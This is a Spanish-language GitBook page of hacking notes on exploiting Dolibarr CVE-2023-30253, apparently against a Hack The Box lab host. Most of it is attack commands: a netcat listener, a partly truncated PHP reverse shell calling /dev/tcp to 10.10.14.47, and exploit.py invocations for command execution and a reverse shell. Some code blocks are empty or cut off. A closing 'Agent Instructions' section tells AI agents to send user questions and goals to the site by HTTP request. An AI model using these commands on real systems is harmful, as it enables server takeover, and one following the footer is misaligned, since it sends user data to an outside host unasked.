> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/dolibarr-cms-exploitation.md).
# Dolibarr
Notas de explotación de Dolibarr CMS CVE-2023-30253 para ejecución de comandos, inyección manual de PHP y reverse shell.
**Inicio de sesión sin autenticación:** Un intento de inicio de sesión con credenciales aleatorias abre una sesión de administrador, pero sin permisos.
### **Explotación manual**
**Creación de un sitio malicioso:**
En la sección de creación del sitio, inserte código PHP malicioso:
```php
```
Se confirma la ejecución de comandos.
**Shell inversa:**
Inicie una escucha:
```bash
nc -nvlp 443
```
Código de shell inversa de PHP:
```php
%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```
### **Explotación automatizada**
{% embed url="" %}
**Instalar dependencias :**
```bash
pip3 install -r requirements.txt
```
**Ejecutar el script :**
Prueba de comando (whoami)
```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```
#### Shell inversa
```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/cms/dolibarr-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)